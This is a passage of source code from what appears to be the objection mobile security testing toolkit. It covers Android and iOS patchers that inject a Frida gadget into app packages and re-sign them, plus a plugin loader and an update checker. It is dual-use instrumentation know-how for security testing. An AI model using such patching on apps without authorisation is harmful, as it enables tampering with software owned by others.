target_class else self._get_launchable_activity())\n\n        click.secho('Reading smali from: {0}'.format(activity_path), dim=True)\n\n        # apktool d smali will have a comment line line: '# direct methods'\n        with open(activity_path, 'r') as f:\n            smali_lines = f.readlines()\n\n        # search for the line starting with '# direct methods' in it\n        inject_marker = [i for i, x in enumerate(smali_lines) if '# direct methods' in x]\n\n        # ensure we got a marker\n        if len(inject_marker) <= 0:\n            raise Exception('Unable to determine position to inject a loadLibrary call')\n\n        # pick the first position for the inject. add one line as we\n        # want to inject right below the comment we matched\n        inject_marker = inject_marker[0] + 1\n\n        patched_smali = self._patch_smali_with_load_library(smali_lines, inject_marker)\n        patched_smali = self._revalue_locals_count(patched_smali, inject_marker)\n\n        click.secho('Writing patched smali back to: {0}'.format(activity_path), dim=True)\n\n        with open(activity_path, 'w') as f:\n            f.write(''.join(patched_smali))\n\n    def add_gadget_to_apk(self, architecture: str, gadget_source: str, gadget_config: str):\n        \"\"\"\n            Copies a frida gadget for a specific architecture to\n            an extracted APK's lib path.\n\n            :param architecture:\n            :param gadget_source:\n            :param gadget_config:\n            :return:\n        \"\"\"\n\n        libs_path = os.path.join(self.apk_temp_directory, 'lib', architecture)\n\n        # check if the libs path exists\n        if not os.path.exists(libs_path):\n            click.secho('Creating library path: {0}'.format(libs_path), dim=True)\n            os.makedirs(libs_path)\n\n        click.secho('Copying Frida gadget to libs path...', fg='green', dim=True)\n        shutil.copyfile(gadget_source, os.path.join(libs_path, 'libfrida-gadget.so'))\n\n        if gadget_config:\n            click.secho('Adding a gadget configuration file...', fg='green')\n            shutil.copyfile(gadget_config, os.path.join(libs_path, 'libfrida-gadget.config.so'))\n\n    def build_new_apk(self, use_aapt2: bool = False, fix_concurrency_to = None):\n        \"\"\"\n            Build a new .apk with the frida-gadget patched in.\n\n            :return:\n        \"\"\"\n\n        click.secho('Rebuilding the APK with the frida-gadget loaded...', fg='green', dim=True)\n        o = delegator.run(\n            self.list2cmdline([self.required_commands['apktool']['location'],\n                            'build',\n                            self.apk_temp_directory,\n                            ] + (['--use-aapt2'] if use_aapt2 else []) + [\n                                '-o',\n                                self.apk_temp_frida_patched\n                            ]+ ([] if fix_concurrency_to is None else ['-j', fix_concurrency_to]))\n                            , timeout=self.command_run_timeout)\n        \n\n        if len(o.err) > 0:\n            click.secho(('Rebuilding the APK may have failed. Read the following '\n                         'output to determine if apktool actually had an error: \\n'), fg='red')\n            click.secho(o.err, fg='red')\n\n        click.secho('Built new APK with injected loadLibrary and frida-gadget', fg='green')\n\n    def zipalign_apk(self):\n        \"\"\"\n            Performs the zipalign command on an APK.\n\n            :return:\n        \"\"\"\n\n        click.secho('Performing zipalign', dim=True)\n\n        o = delegator.run(self.list2cmdline([\n            self.required_commands['zipalign']['location'],\n            '-p',\n            '4',\n            self.apk_temp_frida_patched if os.path.exists(self.apk_temp_frida_patched) else self.apk_source,\n            self.apk_temp_frida_patched_aligned\n        ]))\n\n        if len(o.err) > 0:\n            click.secho(('Zipaligning the APK may have failed. Read the following '\n                         'output to determine if zipalign actually had an error: \\n'), fg='red')\n            click.secho(o.err, fg='red')\n\n        click.secho('Zipalign completed', fg='green')\n\n    def sign_apk(self):\n        \"\"\"\n            Signs an APK with the objection key.\n\n            The keystore itself was created with:\n                keytool -genkey -v -keystore objection.jks -alias objection -keyalg RSA -keysize 2048 -validity 3650\n                pass: basil-joule-bug\n\n            :return:\n        \"\"\"\n\n        click.secho('Signing new APK.', dim=True)\n\n        o = delegator.run(self.list2cmdline([\n            self.required_commands['apksigner']['location'],\n            'sign',\n            '--ks',\n            self.keystore,\n            '--ks-pass',\n            'pass:basil-joule-bug',\n            '--ks-key-alias',\n            'objection',\n            self.apk_temp_frida_patched_aligned\n        ]))\n\n        if len(o.err) > 0:\n            click.secho('Signing the new APK may have failed.', fg='red')\n            click.secho(o.out, fg='yellow')\n            click.secho(o.err, fg='red')\n\n        click.secho('Signed the new APK', fg='green')\n\n    def __del__(self):\n        \"\"\"\n            Cleanup after ourselves.\n\n            :return:\n        \"\"\"\n\n        if self.skip_cleanup:\n            click.secho('Not cleaning up temporary files', dim=True)\n            return\n\n        click.secho('Cleaning up temp files...', dim=True)\n\n        try:\n\n            shutil.rmtree(self.apk_temp_directory, ignore_errors=True)\n\n            with contextlib.suppress(FileNotFoundError):\n                os.remove(self.apk_temp_frida_patched)\n\n            with contextlib.suppress(FileNotFoundError):\n                os.remove(self.apk_temp_frida_patched_aligned)\n\n        except Exception as err:\n            click.secho('Failed to cleanup with error: {0}'.format(err), fg='red', dim=True)\n"
  },
  {
    "path": "objection/utils/patchers/base.py",
    "content": "import json\nimport os\nimport shlex\nimport shutil\nfrom subprocess import list2cmdline\n\nimport click\n\nfrom .github import Github\n\n# default paths\nobjection_path = os.path.join(os.path.expanduser('~'), '.objection')\ngadget_versions = os.path.join(objection_path, 'gadget_versions')\n\n\ndef list2posix_cmdline(seq):\n    \"\"\"\n        Translate a sequence of arguments into a command line\n        string.\n\n        Implemented using shlex.quote because \n        subprocess.list2cmdline doesn't work with POSIX\n    \"\"\"\n\n    return ' '.join(map(shlex.quote, seq))\n\n\nclass BasePlatformGadget(object):\n    \"\"\" Class with base methods for any platforms Gadget downloaded \"\"\"\n\n    def __init__(self, github: Github) -> None:\n        \"\"\"\n            Build a new instance with an existing Github instance.\n\n            :param github:\n        \"\"\"\n\n        self.github = github\n\n    @staticmethod\n    def get_local_version(gadget_type: str) -> str:\n        \"\"\"\n            Check and return the local version of the FridaGadget\n            type we have.\n\n            :return:\n        \"\"\"\n\n        if not os.path.exists(gadget_versions):\n            return '0'\n\n        with open(gadget_versions, 'r') as f:\n            versions = f.read()\n\n        # load the json.\n        try:\n\n            versions = json.loads(versions)\n\n        except json.decoder.JSONDecodeError:\n            return '0'\n\n        if gadget_type in versions:\n            return versions[gadget_type]\n\n        return '0'\n\n    def set_local_version(self, gadget_type: str, version: str):\n        \"\"\"\n            Writes the version number to file, recording it as\n            the current local version.\n\n            :param gadget_type:\n            :param version:\n            :return:\n        \"\"\"\n\n        # read the current versions if it exists, else start\n        # a new dictionary for it\n        if os.path.exists(gadget_versions):\n\n            # load the json from disk\n            try:\n\n                with open(gadget_versions, 'r') as f:\n                    versions = json.loads(f.read())\n\n            except json.decoder.JSONDecodeError:\n                versions = {}\n\n        else:\n            versions = {}\n\n        # add the new version\n        versions[gadget_type] = version\n\n        # and write it to file\n        with open(gadget_versions, 'w') as f:\n            f.write(json.dumps(versions))\n\n        return self\n\n\nclass BasePlatformPatcher(object):\n    \"\"\" Base class with methods used by any platform patcher. \"\"\"\n\n    # extended classes should fill this property\n    required_commands = {}\n\n    def __init__(self):\n\n        # check dependencies\n        self.have_all_commands = self._check_commands()\n        self.command_run_timeout = 60 * 5\n\n        if os.name == 'nt':\n            self.list2cmdline = list2cmdline\n        else:\n            self.list2cmdline = list2posix_cmdline\n\n    def _check_commands(self) -> bool:\n        \"\"\"\n            Check if the shell commands in required_commands are\n            available.\n\n            :return:\n        \"\"\"\n\n        for cmd, attributes in self.required_commands.items():\n\n            location = shutil.which(cmd)\n\n            if location is None:\n                click.secho('Unable to find {0}. Install it with: {1} before continuing.'.format(\n                    cmd, attributes['installation']), fg='red', bold=True)\n\n                return False\n\n            self.required_commands[cmd]['location'] = location\n\n        return True\n\n    def are_requirements_met(self):\n        \"\"\"\n            Checks if the command requirements have all been met.\n\n            :return:\n        \"\"\"\n\n        return self.have_all_commands\n"
  },
  {
    "path": "objection/utils/patchers/github.py",
    "content": "import requests\n\n\nclass Github(object):\n    \"\"\" Interact with Github \"\"\"\n\n    GITHUB_LATEST_RELEASE = 'https://api.github.com/repos/frida/frida/releases/latest'\n    GITHUB_TAGGED_RELEASE = 'https://api.github.com/repos/frida/frida/releases/tags/{tag}'\n\n    # the 'context' of this Github instance\n    gadget_version = None\n\n    def __init__(self, gadget_version: str = None):\n        \"\"\"\n            Init a new instance of Github\n        \"\"\"\n\n        if gadget_version:\n            self.gadget_version = gadget_version\n\n        self.request_cache = {}\n\n    def _call(self, endpoint: str) -> dict:\n        \"\"\"\n            Make a call to Github and cache the response.\n\n            :param endpoint:\n            :return:\n        \"\"\"\n\n        # return a cached response if possible\n        if endpoint in self.request_cache:\n            return self.request_cache[endpoint]\n\n        # get a new response\n        results = requests.get(endpoint).json()\n\n        # cache it\n        self.request_cache[endpoint] = results\n\n        # and return it\n        return results\n\n    def get_latest_version(self) -> str:\n        \"\"\"\n            Call Github and get the tag_name of the latest\n            release.\n\n            :return:\n        \"\"\"\n\n        self.gadget_version = self._call(self.GITHUB_LATEST_RELEASE)['tag_name']\n\n        return self.gadget_version\n\n    def get_assets(self) -> dict:\n        \"\"\"\n            Gets the assets for the currently selected gadget_version.\n\n            :return:\n        \"\"\"\n\n        assets = self._call(self.GITHUB_TAGGED_RELEASE.format(tag=self.gadget_version))\n\n        if 'assets' not in assets:\n            raise Exception(('Unable to determine assets for gadget version \\'{0}\\'. '\n                             'Are you sure this version is available on Github?').format(self.gadget_version))\n\n        return assets['assets']\n"
  },
  {
    "path": "objection/utils/patchers/ios.py",
    "content": "import datetime\nimport lzma\nimport os\nimport plistlib\nimport shutil\nimport tempfile\nimport zipfile\n\nimport click\nimport delegator\nimport requests\n\nfrom .base import BasePlatformGadget, BasePlatformPatcher, objection_path\nfrom .github import Github\n\n\nclass IosGadget(BasePlatformGadget):\n    \"\"\" Class used to work with the iOS Frida Gadget \"\"\"\n\n    ios_dylib_path = os.path.join(objection_path, 'ios')\n    ios_dylib_gadget_path = os.path.join(ios_dylib_path, 'FridaGadget.dylib')\n    ios_dylib_gadget_archive_path = os.path.join(ios_dylib_path, 'FridaGadget.dylib.xz')\n\n    def __init__(self, github: Github) -> None:\n        \"\"\"\n            Build a new instance, ensuring that the paths needed\n            are available.\n\n            :param github:\n        \"\"\"\n\n        super(IosGadget, self).__init__(github)\n\n        # ensure we have the ios gadget path available\n        if not os.path.exists(self.ios_dylib_path):\n            os.makedirs(self.ios_dylib_path)\n\n    def get_gadget_path(self) -> str:\n        \"\"\"\n            Returns the path on disk where the iOS FridaGadget\n            can be found.\n\n            :return:\n        \"\"\"\n\n        return self.ios_dylib_gadget_path\n\n    def gadget_exists(self):\n        \"\"\"\n            Checks if the iOS gadget exists on disk.\n\n            :return:\n        \"\"\"\n\n        return os.path.exists(self.ios_dylib_gadget_path)\n\n    def download(self):\n        \"\"\"\n            Downloads the latest iOS gadget.\n\n            :return:\n        \"\"\"\n\n        download_url = self._get_download_url()\n        click.secho('Downloading from: {0}'.format(download_url), dim=True)\n\n        # stream the download using requests\n        dylib = requests.get(download_url, stream=True)\n\n        # save the requests stream to file\n        try:\n            with open(self.ios_dylib_gadget_archive_path, 'wb') as f:\n                click.secho('Downloading iOS dylib to {0}...'.format(self.ios_dylib_gadget_archive_path),\n                            fg='green', dim=True)\n\n                shutil.copyfileobj(dylib.raw, f)\n        except Exception:\n            if os.path.isfile(self.ios_dylib_gadget_archive_path):\n                os.remove(self.ios_dylib_gadget_archive_path)\n\n        return self\n\n    def _get_download_url(self) -> str:\n        \"\"\"\n            Determines the download URL to use for the iOS\n            gadget.\n\n            :return:\n        \"\"\"\n\n        url = ''\n\n        for asset in self.github.get_assets():\n            if 'ios-universal.dylib.xz' in asset['name']:\n                url = asset['browser_download_url']\n\n        if not url:\n            click.secho('Unable to determine URL to download the dylib', fg='red')\n            raise Exception('Unable to determine URL for iOS gadget download.')\n\n        return url\n\n    def unpack(self):\n        \"\"\"\n            Unpacks a downloaded .xz gadget.\n\n            :return:\n        \"\"\"\n\n        click.secho('Unpacking {0}...'.format(self.ios_dylib_gadget_archive_path), dim=True)\n\n        try:\n            with lzma.open(self.ios_dylib_gadget_archive_path) as f:\n                with open(self.ios_dylib_gadget_path, 'wb') as g:\n                    g.write(f.read())\n        except Exception:\n            if os.path.isfile(self.ios_dylib_gadget_archive_path):\n                os.remove(self.ios_dylib_gadget_archive_path)\n            if os.path.isfile(self.ios_dylib_gadget_path):\n                os.remove(self.ios_dylib_gadget_path)\n\n        return self\n\n    def cleanup(self):\n        \"\"\"\n            Cleans up a downloaded iOS .xz gadget.\n\n            :return:\n        \"\"\"\n\n        click.secho('Cleaning up downloaded archives...', dim=True)\n\n        os.remove(self.ios_dylib_gadget_archive_path)\n\n\nclass IosPatcher(BasePlatformPatcher):\n    \"\"\" Class used to Patch iOS applications \"\"\"\n\n    required_commands = {\n        'xcodebuild': {\n            'installation': 'Install XCode on macOS via the Appstore'\n        },\n        'applesign': {\n            'installation': 'npm install -g applesign'\n        },\n        'insert_dylib': {\n            'installation': ('git clone https://github.com/Tyilo/insert_dylib && cd insert_dylib &&'\n                             'xcodebuild && cp build/Release/insert_dylib /usr/local/bin/insert_dylib')\n        },\n        'codesign': {\n            'installation': 'Part of XCode'\n        },\n        'security': {\n            'installation': 'macOS builtin command'\n        },\n        'zip': {\n            'installation': 'macOS builtin command'\n        },\n        'unzip': {\n            'installation': 'macOS builtin command'\n        },\n        'plutil': {\n            'installation': 'macOS builtin command'\n        },\n    }\n\n    def __init__(self, skip_cleanup: bool = False):\n        \"\"\"\n            Init a new instance of the IosPatcher class.\n        \"\"\"\n\n        super(IosPatcher, self).__init__()\n\n        self.provision_file = None\n        self.payload_directory = None\n        self.app_folder = None\n        self.app_binary = None\n        self.patched_ipa_path = None\n        self.patched_codesigned_ipa_path = None\n        self.skip_cleanup = skip_cleanup\n        self.bundle_id = None\n\n        # temp_file to copy an IPA to\n        _, self.temp_file = tempfile.mkstemp(suffix='.ipa')\n\n        # a working directory to extract the IPA to\n        self.temp_directory = os.path.dirname(self.temp_file)\n\n        # cleanup the temp_directory to work with\n        self._cleanup_extracted_data()\n\n    def set_provsioning_profile(self, provision_file: str = None, bundle_id: str = None) -> None:\n        \"\"\"\n            Sets the provision file to use during patching.\n\n            :param bundle_id:\n            :param provision_file:\n            :return:\n        \"\"\"\n\n        # have provision file? set it and be done\n        if provision_file:\n            self.provision_file = provision_file\n\n            if bundle_id:\n                click.secho('Setting bundleid to specified value: {}'.format(bundle_id), dim=True)\n                self.bundle_id = bundle_id\n            else:\n                self._set_bundle_id_from_profile()\n\n            return\n\n        click.secho('No provision file specified, searching for one...', bold=True)\n\n        # locate a valid mobile provision on disk in: ~/Library/Developer/Xcode/DerivedData/\n        possible_provisions = [os.path.join(dp, f) for dp, dn, fn in\n                               os.walk(os.path.expanduser('~/Library/Developer/Xcode/DerivedData/'))\n                               for f in fn if 'embedded.mobileprovision' in f]\n\n        if len(possible_provisions) <= 0:\n            message = 'No provisioning files found. Please specify one or generate one by building an app.'\n            click.secho(message, fg='red')\n            raise Exception(message)\n\n        # we have some provisioning profiles, lets find the one\n        # with the most days left\n        current_time = datetime.datetime.now()\n        expirations = {}\n\n        for pf in possible_provisions:\n            _, decoded_location = tempfile.mkstemp('decoded_provision')\n\n            # Decode the mobile provision using macOS's security cms tool\n            delegator.run(self.list2cmdline([\n                self.required_commands['security']['location'],\n                'cms', '-D', '-i', pf,\n                '-o', decoded_location\n            ]), timeout=self.command_run_timeout)\n\n            # read the expiration date from the profile\n            with open(decoded_location, 'rb') as f:\n                parsed_data = plistlib.load(f)\n\n                if parsed_data['ExpirationDate'] > current_time:\n                    expirations[pf] = parsed_data['ExpirationDate'] - current_time\n                    click.secho('Found provision file {0} expiring in {1}'.format(pf, expirations[pf]), dim=True)\n\n            # cleanup the temp path\n            os.remove(decoded_location)\n\n        # ensure that we got some valid mobileprovisions to work with\n        if len(expirations) <= 0:\n            message = 'Could not find a non-expired provisioning file. Please specify or generate one.'\n\n            click.secho(message, fg='red')\n            raise Exception(message)\n\n        # sort the results so that the mobileprovision with the most time is at\n        # the top of the list\n        click.secho('Found a valid provisioning profile', fg='green', bold=True)\n        self.provision_file = sorted(expirations, key=expirations.get, reverse=True)[0]\n\n        if bundle_id:\n            click.secho('Setting bundleid to specified value: {}'.format(bundle_id), dim=True)\n            self.bundle_id = bundle_id\n        else:\n            self._set_bundle_id_from_profile()\n\n    def extract_ipa(self, unzip_unicode, ipa_source: str) -> None:\n        \"\"\"\n            Extracts a source IPA into the temporary directories.\n\n            :param ipa_source:\n            :param unzip_unicode:\n            :return:\n        \"\"\"\n\n        # copy the original ipa to the temp directory.\n        shutil.copyfile(ipa_source, self.temp_file)\n\n        if unzip_unicode:\n            with zipfile.ZipFile(self.temp_file, 'r') as ipa:\n                for info in ipa.infolist():\n                    info.filename = info.filename.encode('cp437').decode('utf-8')\n                    ipa.extract(info, self.temp_directory)\n        else:\n            # extract the IPA this should result in a 'Payload' directory\n            ipa = zipfile.ZipFile(self.temp_file, 'r')\n            ipa.extractall(self.temp_directory)\n            ipa.close()\n\n        # check what is in the Payload directory\n        self.payload_directory = os.listdir(os.path.join(self.temp_directory, 'Payload'))\n        if len(self.payload_directory) > 1:\n            click.secho('Warning: Payload folder has more than one file, this is unexpected.', fg='yellow')\n\n        # get the folder that ends with .app. This is where we will be patching\n        # the executable with FridaGadget\n        app_name = ''.join([x for x in self.payload_directory if x.endswith('.app')])\n        click.secho('Working with app: {0}'.format(app_name))\n\n        self.app_folder = os.path.join(self.temp_directory, 'Payload', app_name)\n\n    def set_application_binary(self, binary: str = None) -> None:\n        \"\"\"\n            Sets the binary that will be patched.\n\n            If a binary is not defined, the applications Info.plist is parsed\n            and the CFBundleIdentifier key read.\n\n            :param binary:\n            :return:\n        \"\"\"\n\n        if binary is not None:\n            click.secho('Using user provided binary name of: {0}'.format(binary))\n            self.app_binary = os.path.join(self.app_folder, binary)\n\n            return\n\n        with open(os.path.join(self.app_folder, 'Info.plist'), 'rb') as f:\n            info_plist = plistlib.load(f)\n\n        # print the bundle identifier\n        click.secho('Bundle identifier is: {0}'.format(info_plist['CFBundleIdentifier']),\n                    fg='green', bold=True)\n\n        self.app_binary = os.path.join(self.app_folder, info_plist['CFBundleExecutable'])\n\n    def patch_and_codesign_binary(self, frida_gadget: str, codesign_signature: str, gadget_config: str) -> None:\n        \"\"\"\n            Patches an iOS binary to load a Frida gadget on startup.\n\n            Any other dylibs within the application will also be code signed with\n            the same signature used for the FridaGadget itself.\n\n            :param frida_gadget:\n            :param codesign_signature:\n            :param gadget_config:\n            :return:\n        \"\"\"\n\n        if not self.app_binary:\n            raise Exception('The applications binary should be set first.')\n\n        if not self.app_folder:\n            raise Exception('The application should be extracted first.')\n\n        # create a Frameworks directory if it does not already exist\n        if not os.path.exists(os.path.join(self.app_folder, 'Frameworks')):\n            click.secho('Creating Frameworks directory for FridaGadget...', fg='green')\n            os.mkdir(os.path.join(self.app_folder, 'Frameworks'))\n\n        # copy the frida gadget to the applications Frameworks directory\n        shutil.copyfile(frida_gadget, os.path.join(self.app_folder, 'Frameworks', 'FridaGadget.dylib'))\n        if gadget_config:\n            click.secho('Copying Gadget Config to Frameworks path...', fg='green', dim=True)\n            shutil.copyfile(gadget_config, os.path.join(self.app_folder, 'Frameworks', 'FridaGadget.config'))\n\n        # patch the app binary\n        load_library_output = delegator.run(self.list2cmdline([\n            self.required_commands['insert_dylib']['location'],\n            '--strip-codesig',\n            '--inplace',\n            '@executable_path/Frameworks/FridaGadget.dylib',\n            self.app_binary\n        ]), timeout=self.command_run_timeout)\n\n        # check if the insert_dylib call may have failed\n        if 'Added LC_LOAD_DYLIB' not in load_library_output.out:\n            click.secho('Injecting the load library to {0} might have failed.'.format(self.app_binary),\n                        fg='yellow')\n            click.secho(load_library_output.out, fg='red', dim=True)\n            click.secho(load_library_output.err, fg='red')\n\n        # get the paths of all of the .dylib files in this applications\n        # bundle. we will have to codesign all of them and not just the\n        # frida gadget\n        dylibs_to_sign = [\n            os.path.join(dp, f) for dp, dn, fn in os.walk(self.app_folder) for f in fn if f.endswith('.dylib')]\n\n        # codesign the dylibs in this bundle\n        click.secho('Codesigning {0} .dylib\\'s with signature {1}'.format(len(dylibs_to_sign), codesign_signature),\n                    fg='green')\n        for dylib in dylibs_to_sign:\n            click.secho('Code signing: {0}'.format(os.path.basename(dylib)), dim=True)\n            delegator.run(self.list2cmdline([\n                self.required_commands['codesign']['location'],\n                '-f',\n                '-v',\n                '-s',\n                codesign_signature,\n                dylib]))\n\n    def archive_and_codesign(self, original_name: str, codesign_signature: str) -> None:\n        \"\"\"\n            Creates a new archive of the patched IPA.\n\n            :param original_name:\n            :param codesign_signature:\n            :return:\n        \"\"\"\n\n        click.secho('Creating new archive with patched contents...', dim=True)\n        self.patched_ipa_path = os.path.join(\n            self.temp_directory, os.path.basename(\n                '{0}-frida.ipa'.format(os.path.splitext(original_name)[0])))\n\n        def zipdir(path, ziph):\n            # ziph is a zipfile handle\n            for root, dirs, files in os.walk(path):\n                for fi in files:\n                    ziph.write(os.path.join(root, fi),\n                               os.path.relpath(os.path.join(root, fi), os.path.join(path, '..')))\n\n        zipf = zipfile.ZipFile(self.patched_ipa_path, 'w')\n        zipdir(os.path.join(self.temp_directory, 'Payload'), zipf)\n        zipf.close()\n\n        # codesign the new ipa\n        click.secho('Codesigning patched IPA...', fg='green')\n        self.patched_codesigned_ipa_path = os.path.join(self.temp_directory, os.path.basename(\n            '{0}-frida-codesigned.ipa'.format(os.path.splitext(original_name)[0])))\n\n        ipa_codesign = delegator.run(self.list2cmdline([\n            self.required_commands['applesign']['location'],\n            '--identity',\n            codesign_signature,\n            '--mobileprovision',\n            self.provision_file,\n            '--bundleid',\n            self.bundle_id,\n            '--clone-entitlements',\n            '--output',\n            self.patched_codesigned_ipa_path,\n            self.patched_ipa_path\n        ]), timeout=self.command_run_timeout)\n\n        click.secho(ipa_codesign.err, dim=True)\n\n    def get_patched_ipa_path(self) -> str:\n        \"\"\"\n            Returns the path where the final patched IPA would be.\n\n            :return:\n        \"\"\"\n\n        return self.patched_codesigned_ipa_path\n\n    def _set_bundle_id_from_profile(self):\n        \"\"\"\n            Extracts and sets a bundle id from a decoded mobileprovision\n\n            :return:\n        \"\"\"\n\n        if not self.provision_file:\n            click.secho('Provisioning profile not set. Skipping bundleid extraction', dim=True)\n            return\n\n        _, decoded_location = tempfile.mkstemp('decoded_provision')\n\n        # Decode the mobile provision using macOS's security cms tool\n        delegator.run(self.list2cmdline([\n            self.required_commands['security']['location'],\n            'cms', '-D', '-i', self.provision_file,\n            '-o', decoded_location\n        ]), timeout=self.command_run_timeout)\n\n        # https://stackoverflow.com/a/66820375\n        # security cms -D -i your.mobileprovision | plutil -extract\n        #   Entitlements.application-identifier xml1 -o - - | grep string |\n        #   sed 's/^<string>[^\\.]*\\.\\(.*\\)<\\/string>$/\\1/g'\n        c = delegator.run(self.list2cmdline([\n            'cat', decoded_location\n        ]), timeout=self.command_run_timeout).pipe(self.list2cmdline([\n            self.required_commands['plutil']['location'],\n            '-extract', 'Entitlements.application-identifier', 'xml1', '-o', '-', '-'\n        ]), timeout=self.command_run_timeout).pipe(self.list2cmdline([\n            'grep', 'string'\n        ]), timeout=self.command_run_timeout).pipe(self.list2cmdline([\n            'sed', r's/^<string>[^\\.]*\\.\\(.*\\)<\\/string>$/\\1/g'\n        ]), timeout=self.command_run_timeout)\n\n        if len(c.out) > 0:\n            self.bundle_id = c.out.strip()\n\n        click.secho('Mobile provision bundle identifier is: {}'.format(self.bundle_id), dim=True)\n\n        # cleanup the temp path\n        os.remove(decoded_location)\n\n    def _cleanup_extracted_data(self) -> None:\n        \"\"\"\n            Small helper method to cleanup temporary files created\n            when an older IPA was extracted.\n\n            :return:\n        \"\"\"\n\n        p = os.path.join(self.temp_directory, 'Payload')\n        shutil.rmtree(p, ignore_errors=True)\n\n    def __del__(self):\n        \"\"\"\n            Cleanup after ourselves.\n\n            :return:\n        \"\"\"\n\n        if self.skip_cleanup:\n            click.secho('Not cleaning up temporary files', dim=True)\n            return\n\n        click.secho('Cleaning up temp files...', dim=True)\n\n        try:\n\n            self._cleanup_extracted_data()\n            os.remove(self.temp_file)\n            os.remove(self.patched_ipa_path)\n            os.remove(self.patched_codesigned_ipa_path)\n\n        except Exception as err:\n            click.secho('Failed to cleanup with error: {0}'.format(err), fg='red', dim=True)\n"
  },
  {
    "path": "objection/utils/plugin.py",
    "content": "import os\nfrom abc import ABC\n\nfrom objection.state.connection import state_connection\nfrom objection.utils.helpers import debug_print\nfrom ..state.api import api_state\n\n\nclass Plugin(ABC):\n    \"\"\" Plugin object to extend for development of custom functionality \"\"\"\n\n    def __init__(self, plugin_file: str, namespace: str, implementation: dict):\n        \"\"\"\n            Start a new plugin instance.\n\n            :param plugin_file:\n            :param namespace:\n            :param implementation:\n        \"\"\"\n\n        self.namespace = namespace\n        self.implementation = implementation\n        self.plugin_file = plugin_file\n\n        # plugin properties\n        if not hasattr(self, 'script_src'):\n            self.script_src = None\n        if not hasattr(self, 'script_path'):\n            self.script_path = None\n        if not hasattr(self, 'on_message_handler'):\n            self.on_message_handler = None\n\n        self.agent = None\n        self.session = None\n        self.script = None\n        self.api = None\n\n        self._prepare_source()\n        self._append_to_api()\n\n    def _prepare_source(self):\n        \"\"\"\n            Prepares the self.script_src attribute based on a few rules.\n\n            If the script source is already set, simply return as there is\n                nothing for us to do.\n            If the script path is set, read that and populate the script_src\n                attribute.\n            If neither script_src not script_path is set, attempt to read the\n                index.js that lives next to the plugin file.\n\n            If all of the above fail, simply return, writing a debug warning\n                no script source could be found.\n\n            :return:\n        \"\"\"\n\n        if self.script_src:\n            return\n\n        if self.script_path:\n            self.script_path = os.path.abspath(self.script_path)\n            with open(self.script_path, 'r', encoding='utf-8') as f:\n                self.script_src = '\\n'.join(f.readlines())\n            return\n\n        possible_src = os.path.abspath(os.path.join(\n            os.path.abspath(os.path.dirname(self.plugin_file)), 'index.js'))\n        if os.path.exists(possible_src):\n            self.script_path = possible_src\n            with open(self.script_path, 'r', encoding='utf-8') as f:\n                self.script_src = '\\n'.join(f.readlines())\n            return\n\n        debug_print('[warning] No Fridascript could be found for plugin {0}'.format(self.namespace))\n\n    def inject(self) -> None:\n        \"\"\"\n            Injects the script sources in a new Frida session.\n\n            :return:\n        \"\"\"\n\n        if not self.script_src:\n            raise Exception('Unable to discover Frida script source to inject')\n\n        if not self.agent:\n            self.agent = state_connection.get_agent()\n\n        self.session = self.agent.device.attach(self.agent.pid)\n        self.script = self.session.create_script(source=self.script_src)\n\n        # check for a custom message handler, otherwise fallback\n        # to the default objection handler\n        self.script.on('message',\n                       self.on_message_handler if self.on_message_handler else self.agent.handlers.script_on_message)\n\n        self.script.load()\n        self.api = self.script.exports\n\n    def _append_to_api(self):\n        \"\"\"\n            If the http_api() function is defined in the child class, take\n            it's return (it should always return a flask.Blueprint) and append\n            it to the existing blueprints in objections core API.\n\n            The ApiState class will handle the loading and starting of the API\n            with them included.\n\n            :return:\n        \"\"\"\n\n        if not hasattr(self, 'http_api'):\n            return\n\n        if not callable(getattr(self, 'http_api')):\n            raise Exception('The http_api property must be a function returning a Flask Blueprint')\n\n        api_state.append_api_blueprint(getattr(self, 'http_api')())\n"
  },
  {
    "path": "objection/utils/update_checker.py",
    "content": "import json\nimport os\nfrom datetime import datetime, timedelta\n\nimport click\nimport requests\nfrom packaging.version import Version\n\nfrom ..__init__ import __version__\n\nobjection_path = os.path.join(os.path.expanduser('~'), '.objection')\nversion_file = os.path.join(objection_path, 'version_info')\n\nversion_data = {\n    'remote_version': '0.0.0',\n    'last_check': datetime.now() - timedelta(days=7)\n}\n\ndate_fmt = '%d%m%y %H:%M:%S'\n\n\ndef cached_version_data() -> version_data:\n    \"\"\"\n        Reads the local version file and returns the\n        version data structure\n\n        :return:version_data\n    \"\"\"\n\n    if not os.path.exists(version_file):\n        return version_data\n\n    with open(version_file, 'r') as f:\n        data = json.load(f)\n\n    data['last_check'] = datetime.strptime(data['last_check'], date_fmt)\n\n    return data\n\n\ndef update_version_cache(version: str) -> None:\n    \"\"\"\n        Store version information.\n\n        :param version:\n        :return:\n    \"\"\"\n\n    version_data['remote_version'] = version\n    version_data['last_check'] = datetime.now().strftime(date_fmt)\n\n    with open(version_file, 'w') as f:\n        json.dump(version_data, f)\n\n\ndef notify_newer_version() -> None:\n    \"\"\"\n        Print a notification message about the newer version\n        that is available.\n\n        :return:\n    \"\"\"\n\n    cache_version = cached_version_data()['remote_version']\n\n    if Version(cache_version) > Version(__version__):\n        click.secho('\\n\\nA newer version of objection is available!', fg='green')\n        click.secho('You have v{0} and v{1} is ready for download.\\n'.format(\n            __version__, cache_version), fg='green')\n        click.secho('Upgrade with: pip3 install objection --upgrade', fg='green', bold=True)\n        click.secho('For more information, please see: '\n                    'https://github.com/sensepost/objection/wiki/Updating\\n', dim=True)\n\n\ndef check_version() -> None:\n    \"\"\"\n        Checks if the current version of objection is up to date.\n\n        :return:\n    \"\"\"\n\n    # if we have not checked for a new version today\n    if not (cached_version_data()['last_check'] > datetime.now() - timedelta(hours=23)):\n        click.secho('Checking for a newer version of objection...', dim=True)\n\n        # noinspection PyBroadException\n        try:\n\n            r = requests.get('https://api.github.com/repos/sensepost/objection/releases/latest').json()\n            update_version_cache(r['tag_name'])\n\n        # Just be quiet about any exceptions here. If this method fails\n        # it really doesn't matter.\n        except Exception:\n            # there is good chance an installation does not have internet, so cache\n            # the current version as the latest to not be annoying about updates\n            update_version_cache(__version__)\n\n    notify_newer_version()\n"
  },
  {
    "path": "plugins/README.md",
    "content": "# plugins\n\n`objection` has the ability to sideload external plugins. This directory contains a few sample plugins that you could use to kickstart developing your own!\n"
  },
  {
    "path": "plugins/api/__init__.py",
